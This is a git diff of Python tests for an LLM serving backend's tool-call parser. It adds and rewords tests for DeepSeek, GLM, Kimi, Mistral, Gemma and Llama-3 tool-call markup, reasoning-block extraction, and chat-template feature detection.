+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q'
+    )
+    assert strip_tool_markup(truncated_kimi, final = True) == ""
+    assert strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix"
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index ce5688be3e..89a0b3879b 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -1990,8 +1990,8 @@ class TestTranslatedMessagesValidate:
             ChatMessage(**m.model_dump(exclude_none = True))
 
 
-# reasoning_prefilled: Qwen3/GLM enable_thinking templates prefill an unclosed <think>, so generation
-# begins inside the think block and emits only the closing </think>; extractor starts in reasoning.
+# reasoning_prefilled mode: Qwen3/GLM enable_thinking templates prefill an unclosed <think>, so
+# generation begins inside the think block and emits only the closing </think>; the extractor starts in reasoning.
 class TestReasoningPrefilledExtractor:
     def test_prefilled_single_feed_splits_lone_close(self):
         # T1: reasoning...</think>answer with a prefilled (unseen) open tag.
@@ -2055,7 +2055,8 @@ class TestReasoningPrefilledExtractor:
         assert visible == "\n\nanswer"
 
     def test_prefilled_stray_open_tag_is_suppressed(self):
-        # T7: a re-emitted literal <think> inside prefilled reasoning is dropped, not leaked.
+        # T7: a re-emitted literal <think> inside prefilled reasoning is dropped,
+        # not leaked into the drawer (covers enable_thinking_effort full-tag output).
         reasoning, visible = _extract_responses_reasoning(
             "a<think>b</think>c",
             parse_think_markers = True,
@@ -2076,7 +2077,9 @@ class TestReasoningPrefilledExtractor:
         assert visible == "hi"
 
     def test_not_prefilled_lone_close_preserves_current_behavior(self):
-        # T9: without prefilled, a lone </think> keeps pre-fix behavior (reasoning stays visible, tag dropped).
+        # T9: GGUF-parity guard -- WITHOUT prefilled, a lone </think> keeps the
+        # pre-fix behavior (reasoning stays visible, tag dropped). Ensures GGUF and
+        # every existing caller are byte-identical.
         reasoning, visible = _extract_responses_reasoning(
             "reasoning</think>ans",
             parse_think_markers = True,
@@ -2096,7 +2099,8 @@ class TestReasoningPrefilledExtractor:
         assert visible == "v"
 
     def test_prefilled_ignored_when_markers_not_parsed(self):
-        # T11: a non-reasoning model (parse_think_markers False) passes text straight through.
+        # T11: a non-reasoning model (parse_think_markers False) still passes text
+        # straight through even if reasoning_prefilled were mistakenly set False.
         reasoning, visible = _extract_responses_reasoning(
             "just an answer",
             parse_think_markers = False,
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 643d64af7a..3701a00dd2 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -11,6 +11,8 @@ from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
+import pytest
+
 _backend_root = Path(__file__).resolve().parent.parent
 if str(_backend_root) not in sys.path:
     sys.path.insert(0, str(_backend_root))
@@ -127,8 +129,8 @@ def test_detect_safetensors_features_gptoss_disables_tools():
     assert flags["supports_tools"] is False
 
 
-# Llama-3 / Mistral / Gemma 4 tool-call formats are parser-supported, so supports_tools stays True;
-# only templates matching none of the known markers are suppressed.
+# Llama-3 / Mistral / Gemma 4 tool-call formats are now parser-supported, so supports_tools=True
+# must hold for all of them; only templates matching none of the five known markers are suppressed.
 
 LLAMA3_TEMPLATE = """
 {%- if tools %}
@@ -198,6 +200,86 @@ def test_detect_safetensors_features_gemma4_template_keeps_tools_on():
     assert flags["supports_tools"] is True
 
 
+# DeepSeek V3 / V3.1 / R1 emit ``<｜tool▁calls▁begin｜>...`` blocks.
+# Note the full-width pipe (U+FF5C) and lower-1/8-block (U+2581).
+DEEPSEEK_TEMPLATE = """
+{%- if tools %}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    {%- for tc in message.tool_calls %}
+      {{- '<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>' + tc.function.name +
+          '<｜tool▁sep｜>' + tc.function.arguments + '<｜tool▁call▁end｜>' }}
+    {%- endfor %}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_deepseek_template_keeps_tools_on():
+    """DeepSeek emits ``<｜tool▁calls▁begin｜>...``; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, DEEPSEEK_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# GLM 4.5 / 4.6 / 4.7 emit ``<tool_call>NAME\n<arg_key>...<arg_value>...
+GLM_TEMPLATE = """
+{%- if tools %}
+  For each function call, output the function name and arguments within
+  the following XML format:
+  <tool_call>{function-name}
+  <arg_key>{arg-key}</arg_key>
+  <arg_value>{arg-value}</arg_value>
+  </tool_call>
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_glm_template_keeps_tools_on():
+    """GLM 4.x emits ``<tool_call>NAME\\n<arg_key>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/GLM-4.6")
+    flags = _detect_safetensors_features(backend, GLM_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# Kimi K2 / Moonshot uses ``<|tool_calls_section_begin|>...`` blocks
+# with ``functions.NAME:IDX`` as the per-call id.
+KIMI_TEMPLATE = """
+{%- if tools %}
+  <|im_system|>tool_declare<|im_middle|>{{ tools | tojson }}<|im_end|>
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    <|tool_calls_section_begin|>
+    {%- for tc in message.tool_calls %}
+      <|tool_call_begin|>{{ tc.id }}<|tool_call_argument_begin|>{{ tc.function.arguments | tojson }}<|tool_call_end|>
+    {%- endfor %}
+    <|tool_calls_section_end|>
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_kimi_template_keeps_tools_on():
+    """Kimi K2 emits ``<|tool_calls_section_begin|>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Kimi-K2-Instruct")
+    flags = _detect_safetensors_features(backend, KIMI_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
 LLAMA3_2_BARE_JSON_TEMPLATE = """
 {%- if tools %}
   {{- 'Given the following functions, respond with JSON for a function call.' }}
@@ -534,7 +616,34 @@ def test_route_layer_emits_supports_tools_true_for_qwen3_safetensors():
     assert flags["supports_preserve_thinking"] is True
 
 
-# Templates advertising tools whose ``{"name":`` example is pretty-printed or JSON-escaped.
+@pytest.mark.parametrize(
+    "opener",
+    [
+        "<｜tool▁calls▁begin｜>",  # canonical
+        "<｜tool_calls_begin｜>",  # ASCII underscores
+        "<｜tool▁calls｜>",  # short form
+        "<｜tool calls begin｜>",  # spaces
+        "<｜tool\\_calls\\_begin｜>",  # escaped underscores
+    ],
+)
+def test_detect_safetensors_features_deepseek_opener_variants_keep_tools_on(opener):
+    # Every DeepSeek opener the parser accepts must keep supports_tools on; the route gate derives
+    # its markers from the parser's TOOL_XML_SIGNALS so it can no longer drift behind the parser ...
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}tools{%- endif %}"
+        + opener
+        + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# Templates that advertise tools ({%- if tools %}) and prompt the bare-JSON
+# call form, but whose ``{"name":`` example is pretty-printed or JSON-escaped.
 _WHITESPACE_BARE_JSON_TEMPLATE = (
     "{%- if tools %}\n"
     "To call a tool, output JSON of the form:\n"
@@ -554,7 +663,8 @@ _TOOLS_ADVERTISED_NO_PARSEABLE_FORM = (
 
 
 def test_detect_safetensors_features_keeps_tools_for_pretty_printed_bare_json():
-    # Pretty-printed bare-JSON (``{ "name" :``) keeps supports_tools: parser accepts the whitespace.
+    # A pretty-printed bare-JSON example (``{ "name" :``) must keep supports_tools since the parser
+    # accepts that whitespace via raw_decode.
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
@@ -571,7 +681,8 @@ def test_detect_safetensors_features_keeps_tools_for_escaped_bare_json():
 
 
 def test_detect_safetensors_features_drops_tools_when_no_parseable_form():
-    # Negative control: tools advertised but no parser-recognised emission form -> pill dropped.
+    # Negative control: tools advertised but no parser-recognised emission form at
+    # all -> the pill is still dropped (the gate is not now matching everything).
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
@@ -580,7 +691,8 @@ def test_detect_safetensors_features_drops_tools_when_no_parseable_form():
 
 
 def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
-    # The {"function":...} bare-JSON alias keeps supports_tools, mirroring {"name":...}.
+    # A template documenting the parser-supported {"function":...} bare-JSON alias
+    # must keep supports_tools, mirroring the {"name":...} form.
     from routes.inference import _detect_safetensors_features
 
     tpl = (
@@ -594,9 +706,10 @@ def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
     assert flags["supports_tools"] is True
 
 
-# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor for enable_thinking models.
+# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor so safetensors/MLX reach
+# GGUF reasoning-block parity for enable_thinking models.
 class TestSafetensorsReasoningPrefillGate:
-    # Qwen3-style template with the standard <think>/</think> markers.
+    # A minimal Qwen3-style template with the standard <think>/</think> markers.
     _QWEN_TPL = "{% if enable_thinking %}<think>{% endif %}...</think>..."
     # gemma-style bespoke reasoning channel -- no standard markers.
     _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought<channel|>"
@@ -650,8 +763,8 @@ class TestSafetensorsReasoningPrefillGate:
         assert _sf_reasoning_prefill_mode(feats, False, self._QWEN_TPL) is True
 
     def test_g8_gemma_bespoke_channel_excluded(self):
-        # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled (else the
-        # whole answer is swallowed as reasoning). Regression guard.
+        # G8: gemma's <|think|>/<|channel> format has no </think> -> NOT prefilled
+        # (would otherwise swallow the whole answer as reasoning). Regression guard.
         from routes.inference import _sf_reasoning_prefill_mode
         assert _sf_reasoning_prefill_mode(self._features(), True, self._GEMMA_TPL) is False
 
diff --git a/studio/backend/tests/test_safetensors_reasoning_stream.py b/studio/backend/tests/test_safetensors_reasoning_stream.py
index 9158d1ad5e..4a5423fa87 100644
--- a/studio/backend/tests/test_safetensors_reasoning_stream.py
+++ b/studio/backend/tests/test_safetensors_reasoning_stream.py
@@ -34,7 +34,7 @@ def _replay_sf_reasoning_stream(events: list[dict], *, prefilled: bool) -> dict:
     visible_deltas: list[str] = []
     monitor: list[str] = []
     tool_starts: list[dict] = []
-    order: list[str] = []  # "reasoning" | "visible" | "tool_start" sequence
+    order: list[str] = []  # sequence of ("reasoning"|"visible"|"tool_start") events
 
     def _flush():
         fr, fv = extractor.finish()
@@ -155,8 +155,11 @@ _THINK_TPL = "...{% if enable_thinking %}<think>{% endif %}...</think>..."
 
 
 def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
-    # GLM-5.2 enable_thinking_effort + reasoning_effort="none" disables thinking like
-    # enable_thinking=False, so prefilled must be OFF (else the answer is swallowed into reasoning).
+    # GLM-5.2-style enable_thinking_effort: a request with reasoning_effort="none" (and
+    # enable_thinking omitted) disables thinking exactly like enable_thinking=False, so
+    # prefilled mode must be OFF. Otherwise the model emits no </think> and a plain
+    # answer is swallowed whole into reasoning_content, leaving the visible response
+    # empty (the exact bug: prefilled=True below eats the whole answer).
     feats = {"reasoning_style": "enable_thinking_effort", "supports_reasoning": True}
     assert _sf_reasoning_prefill_mode(feats, None, _THINK_TPL, "none") is False
     # Thinking on (effort level or default) still prefills.
@@ -171,7 +174,8 @@ def test_s6_reasoning_effort_none_disables_prefill_for_enable_thinking_effort():
     plain = {"reasoning_style": "enable_thinking", "supports_reasoning": True}
     assert _sf_reasoning_prefill_mode(plain, None, _THINK_TPL, "none") is True
 
-    # End-to-end: with prefilled=False, a plain no-</think> answer stays visible.
+    # End-to-end: with the corrected prefilled=False, a plain no-</think> answer is
+    # emitted as visible content rather than swallowed into the thinking drawer.
     events = [{"type": "content", "text": "The capital of France is Paris."}]
     out = _replay_sf_reasoning_stream(events, prefilled = False)
     assert out["visible"] == "The capital of France is Paris."
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index 984d5f8ae9..38b30fe8f6 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -139,7 +139,7 @@ class TestParser:
         assert "print('hi')" in result[0]["function"]["arguments"]
 
     def test_xml_param_preserves_leading_indentation(self):
-        # Only the wrapping newline is trimmed, so code indentation survives.
+        # Only the wrapping newline is trimmed, so code-argument indentation survives (str.strip() destroyed it).
         text = (
             "<function=python><parameter=code>\n"
             "    indented = 1\n"
@@ -204,7 +204,9 @@ class TestParser:
         assert strip_tool_markup(text) == "before  after"
 
     def test_strip_named_mistral_call_consumes_trailing_eos(self):
-        # The named [TOOL_CALLS]name{json} shape must eat the optional trailing </s>.
+        # The named ``[TOOL_CALLS]name{json}`` shape must eat the optional
+        # trailing ``</s>`` like the array shape, so the EOS marker is not left
+        # behind as visible content.
         text = '[TOOL_CALLS]web_search{"query":"cats"}</s>'
         assert strip_tool_markup(text) == ""
         text = '[TOOL_CALLS]web_search{"query":"cats"}</s> and then'
@@ -235,8 +237,27 @@ class TestParser:
             == "before "
         )
 
+    def test_streaming_strip_handles_nested_mistral_json(self):
+        # The non-greedy [TOOL_CALLS]name{...} pattern truncates nested JSON at the first }; the
+        # balanced helper must remove the whole call so no trailing brace leaks to the streaming ...
+        raw = 'ok [TOOL_CALLS]foo{"a":{"b":1}} tail'
+        out = strip_tool_markup_streaming(raw)
+        assert "[TOOL_CALLS]" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
+    def test_streaming_strip_handles_nested_wrapperless_gemma(self):
+        # Same class of bug for the wrapper-less Gemma call:NAME{...} form with a
+        # nested object argument.
+        raw = "ok call:f{loc:{city:NYC},n:3} tail"
+        out = strip_tool_markup_streaming(raw)
+        assert "call:f" not in out
+        assert "}" not in out
+        assert "ok " in out and "tail" in out
+
     def test_streaming_strip_keeps_prose_after_function_xml_with_literal_marker(self):
-        # A literal <function=...> in a value is data: the strip closes at the REAL </function>, keeping prose.
+        # A literal ``<function=...>`` in a value is data: the strip must close at the REAL
+        # ``</function>`` and keep trailing prose (the open-ended regex ate to EOF).
         raw = (
             "pref <function=python><parameter=code>"
             'print("<function=x>")</parameter></function> tail'
@@ -246,15 +267,19 @@ class TestParser:
         assert strip_tool_markup_streaming(raw) == strip_tool_markup(raw, final = True)
 
     def test_streaming_strip_drops_leading_magistral_reasoning(self):
-        # Magistral reasoning is a leading [THINK]...[/THINK] block; the streaming strip must drop it.
+        # Magistral emits reasoning as a leading ``[THINK]...[/THINK]`` bracket block
+        # (not the ``<think>`` the reasoning channel renders). The streaming display
+        # strip must drop it so the raw chain-of-thought does not leak into the
+        # safetensors content; GGUF routes it to reasoning_content natively.
         closed = "[THINK]Let me think. 2+2 is 4.[/THINK]The answer is 4."
         assert strip_tool_markup_streaming(closed) == "The answer is 4."
         assert strip_tool_markup_streaming(closed) == strip_tool_markup(closed, final = True)
-        # Unclosed mid-stream reasoning is held; cleaned text grows only after [/THINK].
+        # Unclosed mid-stream reasoning is held from the marker on (nothing leaks, and
+        # the cleaned text only grows as the answer streams in after ``[/THINK]``).
         assert strip_tool_markup_streaming("[THINK]still thinking") == ""
         assert strip_tool_markup_streaming("[THINK]r[/THINK]The") == "The"
         assert strip_tool_markup_streaming("[THINK]r[/THINK]The answer") == "The answer"
-        # A non-leading [THINK] is ordinary prose, left untouched.
+        # A non-leading ``[THINK]`` is ordinary prose and is left untouched.
         assert strip_tool_markup_streaming("hi [THINK] later") == "hi [THINK] later"
 
 
@@ -294,7 +319,7 @@ class TestParserMultiFormat:
         assert args == {"query": "hi", "n": 5}
 
     def test_llama3_python_tag_json_form_with_eom(self):
-        # Llama-3 emits <|eom_id|> after the JSON; must not break parsing.
+        # Llama-3 emits ``<|eom_id|>`` after the JSON; must not break parsing.
         import json
 
         text = '<|python_tag|>{"name":"python","parameters":{"code":"print(2+2)"}}<|eom_id|>'
@@ -307,10 +332,22 @@ class TestParserMultiFormat:
         text = '<|python_tag|>brave_search.call(query="x")'
         assert strip_tool_markup(text, final = True) == ""
 
-    # Llama-3.2 bare JSON ``custom_tools``
+    def test_llama3_python_tag_json_form_non_scalar_args_skipped(self):
+        # Should NOT fabricate ``{"value": args}`` when the JSON form
+        # has a non-dict / non-string ``arguments`` value.
+        for bad in (
+            '<|python_tag|>{"name":"foo","arguments":42}',
+            '<|python_tag|>{"name":"foo","arguments":[1,2,3]}',
+            '<|python_tag|>{"name":"foo","arguments":null}',
+            '<|python_tag|>{"name":"foo","arguments":true}',
+        ):
+            assert parse_tool_calls_from_text(bad) == [], bad
+
+    # ── Llama-3.2 bare JSON ``custom_tools`` ─────────────────────
 
     def test_llama3_2_bare_json_parameters(self):
-        # Llama-3.2-Instruct emits bare JSON directly as content, no <|python_tag|> prefix.
+        # Llama-3.2-Instruct emits bare JSON directly as content; no
+        # <|python_tag|> prefix per its training template.
         import json
 
         text = '{"name":"web_search","parameters":{"query":"Tokyo weather"}}'
@@ -330,7 +367,7 @@ class TestParserMultiFormat:
         assert args == {"a": 1, "b": 2}
 
     def test_llama3_2_bare_json_multi_call(self):
-        # Llama-3 may chain calls with "; " per training template.
+        # Llama-3 may chain calls with ``; `` per training template.
         text = '{"name":"a","parameters":{}}; {"name":"b","parameters":{}}'
         result = parse_tool_calls_from_text(text)
         assert len(result) == 2
@@ -356,7 +393,8 @@ class TestParserMultiFormat:
         assert parse_tool_calls_from_text(text) == []
 
     def test_llama3_2_bare_json_embedded_in_prose_does_not_fire(self):
-        # Defensive: JSON embedded in prose must NOT fire (content must START with `{`).
+        # Defensive: JSON embedded in prose must NOT fire (parser is
+        # strict about content STARTING with `{`).
         text = 'The tool result was: {"name":"foo"}'
         assert parse_tool_calls_from_text(text) == []
 
@@ -373,12 +411,14 @@ class TestParserMultiFormat:
         assert parse_tool_calls_from_text(text) == []
 
     def test_llama3_2_bare_json_string_parameters_does_not_fire(self):
-        # Llama-3 spec: parameters must be a dict; a string value must NOT trigger.
+        # Llama-3 spec: parameters must be a dict. Prose like
+        # ``{"name":"foo","parameters":"a sentence"}`` must NOT trigger.
         text = '{"name":"foo","parameters":"this is a sentence"}'
         assert parse_tool_calls_from_text(text) == []
 
     def test_llama3_2_bare_json_string_arguments_not_json_does_not_fire(self):
-        # OpenAI arguments may be a JSON-string of a dict, but a plain non-JSON string must not pass.
+        # OpenAI ``arguments`` may be a JSON-string of a dict, but a
+        # plain non-JSON string must not pass the guard.
         text = '{"name":"foo","arguments":"not json"}'
         assert parse_tool_calls_from_text(text) == []
 
@@ -417,7 +457,8 @@ class TestParserMultiFormat:
     def test_mistral_array_parameters_key_alias(self):
         import json
 
-        # Array object keyed on parameters (not arguments) must keep its payload.
+        # Array object keyed on ``parameters`` (not ``arguments``) must keep its
+        # payload, matching the JSON/XML paths and SGLang's base detector.
         text = '[TOOL_CALLS] [{"name":"get_weather","parameters":{"city":"Paris"}}]'
         result = parse_tool_calls_from_text(text)
         assert len(result) == 1
@@ -435,7 +476,7 @@ class TestParserMultiFormat:
         assert result[1]["function"]["name"] == "b"
 
     def test_mistral_pre_v11_unclosed_array(self):
-        # Closing ] truncated: parser must heal off individual objects.
+        # Closing ``]`` truncated -- parser must heal off individual objects.
         text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"},"id":"id"}'
         result = parse_tool_calls_from_text(text)
         assert len(result) == 1
@@ -444,7 +485,7 @@ class TestParserMultiFormat:
     # Mistral v11+
 
     def test_mistral_v11_single(self):
-        # Magistral / Mistral Small 3.1: bare name{json} after trigger.
+        # Magistral / Mistral Small 3.1: bare ``name{json}`` after trigger.
         import json
 
         text = '[TOOL_CALLS]add{"a":3.5,"b":4}'
@@ -454,7 +495,7 @@ class TestParserMultiFormat:
         assert json.loads(result[0]["function"]["arguments"]) == {"a": 3.5, "b": 4}
 
     def test_mistral_v11_parallel(self):
-        # v11+ parallel: [TOOL_CALLS]a{...}[TOOL_CALLS]b{...}.
+        # v11+ parallel: ``[TOOL_CALLS]a{...}[TOOL_CALLS]b{...}``.
         text = '[TOOL_CALLS]add{"a":1}[TOOL_CALLS]sub{"b":2}'
         result = parse_tool_calls_from_text(text)
         assert len(result) == 2
@@ -462,7 +503,7 @@ class TestParserMultiFormat:
         assert result[1]["function"]["name"] == "sub"
 
     def test_mistral_v11_with_args_marker(self):
-        # Ministral / Mistral Large 3: [TOOL_CALLS]name[ARGS]{json}.
+        # Ministral / Mistral Large 3: ``[TOOL_CALLS]name[ARGS]{json}``.
         import json
 
         text = '[TOOL_CALLS]add[ARGS]{"a":1,"b":2}'
@@ -476,7 +517,9 @@ class TestParserMultiFormat:
         assert strip_tool_markup(text, final = True) == ""
 
     def test_mistral_call_id_form(self):
-        # Mistral Small 3.2: the [CALL_ID] segment must be skipped, not treated as a stop (llama.cpp test-chat.cpp:4785).
+        # Mistral Small 3.2: ``[TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}``.
+        # The ``[CALL_ID]`` segment must be skipped, not treated as a stop
+        # (llama.cpp test-chat.cpp:4785 parses this to one call).
         import json
 
         text = '[TOOL_CALLS]special_function[CALL_ID]123456789[ARGS]{"arg1": 1}'
@@ -501,7 +544,9 @@ class TestParserMultiFormat:
         assert strip_tool_markup(text, final = True) == ""
 
     def test_mistral_think_reasoning_ignored(self):
-        # A [TOOL_CALLS] inside [THINK]...[/THINK] is reasoning; only the call after [/THINK] counts (llama.cpp test-chat.cpp:2285).
+        # Magistral wraps reasoning in ``[THINK]...[/THINK]``. A ``[TOOL_CALLS]``
+        # inside the reasoning is chain-of-thought, not a real call; only the
+        # call after ``[/THINK]`` counts (llama.cpp test-chat.cpp:2285).
         import json
 
         text = (
@@ -514,12 +559,14 @@ class TestParserMultiFormat:
         assert json.loads(result[0]["function"]["arguments"]) == {"y": 2}
 
     def test_mistral_think_reasoning_no_real_call(self):
-        # Reasoning that mentions a call but emits none after [/THINK] yields no calls.
+        # Reasoning that merely mentions a tool call but does not emit one
+        # after ``[/THINK]`` yields no calls.
         text = '[THINK]I might call [TOOL_CALLS]fake[ARGS]{"x":1}[/THINK]Done.'
         assert parse_tool_calls_from_text(text) == []
 
     def test_mistral_think_literal_in_argument_preserved(self):
-        # A literal [THINK] inside a real tool argument must not be stripped or corrupt the parse.
+        # A literal ``[THINK]`` inside a real tool argument (after the call)
+        # must not be stripped or corrupt the parse.
         import json
 
         text = '[TOOL_CALLS]search[ARGS]{"q":"explain the [THINK] token"}'
@@ -554,7 +601,7 @@ class TestParserMultiFormat:
         assert args == {"enabled": True, "attempts": 5, "threshold": 1.5, "nickname": None}
 
     def test_gemma4_nested_args(self):
-        # Gemma 4 nests dicts / lists with bare keys and <|"|> strings.
+        # Gemma 4 nests dicts / lists with bare keys and ``<|"|>`` strings.
         import json
 
         text = (
@@ -585,7 +632,65 @@ class TestParserMultiFormat:
         text = "<|tool_call>call:foo{x:1}<tool_call|>"
         assert strip_tool_markup(text, final = True) == ""
 
-    # Cross-format sentinels
+    # ── Gemma 4 wrapper-less (skip_special_tokens stripped) ───────────
+
+    def test_gemma4_bare_stripped_call(self):
+        # skip_special_tokens removes <|tool_call>/<tool_call|> and <|"|>,
+        # leaving a bare call:NAME{...} with an unquoted value.
+        import json
+
+        text = "call:web_search{query:weather in San Francisco right now}"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "weather in San Francisco right now"}
+
+    def test_gemma4_bare_code_with_commas(self):
+        # A code value with commas must not truncate at the first comma.
+        import json
+
+        text = (
+            "call:python{code:def f(n):\n    a, b = 0, 1\n"
+            "    for _ in range(2, n+1):\n        a, b = b, a + b\n"
+            "    return b\n\nprint(f(30))}"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert result[0]["function"]["name"] == "python"
+        code = json.loads(result[0]["function"]["arguments"])["code"]
+        assert "a, b = 0, 1" in code and "print(f(30))" in code
+
+    def test_gemma4_bare_quotes_normalized(self):
+        # The same value quoted vs unquoted must parse identically so the
+        # agentic loop can collapse a looping model's repeated calls.
+        import json
+
+        a = parse_tool_calls_from_text('call:web_search{query:"foo bar"}')
+        b = parse_tool_calls_from_text("call:web_search{query:foo bar}")
+        assert json.loads(a[0]["function"]["arguments"]) == {"query": "foo bar"}
+        assert json.loads(a[0]["function"]["arguments"]) == json.loads(
+            b[0]["function"]["arguments"]
+        )
+
+    def test_gemma4_bare_multi_arg(self):
+        import json
+
+        text = "call:web_search{query:pytorch latest, url:https://pytorch.org}"
+        result = parse_tool_calls_from_text(text)
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"query": "pytorch latest", "url": "https://pytorch.org"}
+
+    def test_gemma4_bare_not_matched_in_prose(self):
+        # A word ending in "call:" must not trigger a bare tool call.
+        text = "I will recall:that the function{ } is helpful."
+        result = parse_tool_calls_from_text(text)
+        assert result == []
+
+    def test_gemma4_bare_strip_markup_final(self):
+        text = "Here you go: call:web_search{query:weather today}"
+        assert "call:web_search" not in strip_tool_markup(text, final = True)
+
+    # ── Cross-format sentinels ────────────────────────────────────
 
     def test_all_markers_in_tool_xml_signals(self):
         # Streaming buffer wakes up on every emission marker.
@@ -703,6 +808,553 @@ def _make_loop(
     ), exec_fn
 
 
+class TestParserDeepSeek:
+    """DeepSeek R1 / V3 / V3.1 coverage. Markers use full-width pipes
+    (U+FF5C) and lower-one-eighth-block (U+2581). R1 wraps args in a
+    Markdown ``` ```json ``` ``` fence; V3 / V3.1 emit bare JSON."""
+
+    def test_r1_simple_call_with_code_fence(self):
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>function"
+            "<｜tool▁sep｜>special_function\n"
+            "```json\n"
+            '{"arg1": 1}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "special_function"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"arg1": 1}
+
+    def test_r1_short_form_outer_marker(self):
+        # llama.cpp accepts ``<｜tool▁calls｜>`` as the short-form opener.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls｜>function"
+            "<｜tool▁sep｜>get_time\n"
+            "```json\n"
+            '{"city": "Paris"}\n'
+            "```"
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_bare_json(self):
+        # V3 / V3.1 omit the ``function`` prefix and the code fence.
+        import json as _json
+
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_v3_1_multi_call_shares_envelope(self):
+        # Parallel calls share one outer envelope; each inner call has
+        # its own ``<｜tool▁call▁begin｜>...<｜tool▁call▁end｜>``.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁call▁begin｜>get_weather"
+            "<｜tool▁sep｜>"
+            '{"city": "Paris"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "get_time"
+        assert result[1]["function"]["name"] == "get_weather"
+
+    def test_v3_1_with_reasoning(self):
+        # Reasoning <think>...</think> precedes the tool block.
+        text = (
+            "<think>I'm thinking</think>\n"
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+            "<｜tool▁call▁end｜>"
+            "<｜tool▁calls▁end｜>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_time"
+
+    def test_v3_1_strict_rejects_unclosed_envelope(self):
+        # Envelope truncated mid-stream (no <｜tool▁calls▁end｜>): healed by
+        # default, rejected with Auto-Heal off.
+        text = (
+            "<｜tool▁calls▁begin｜>"
+            "<｜tool▁call▁begin｜>get_time"
+            "<｜tool▁sep｜>"
+            '{"city": "Tokyo"}'
+        )
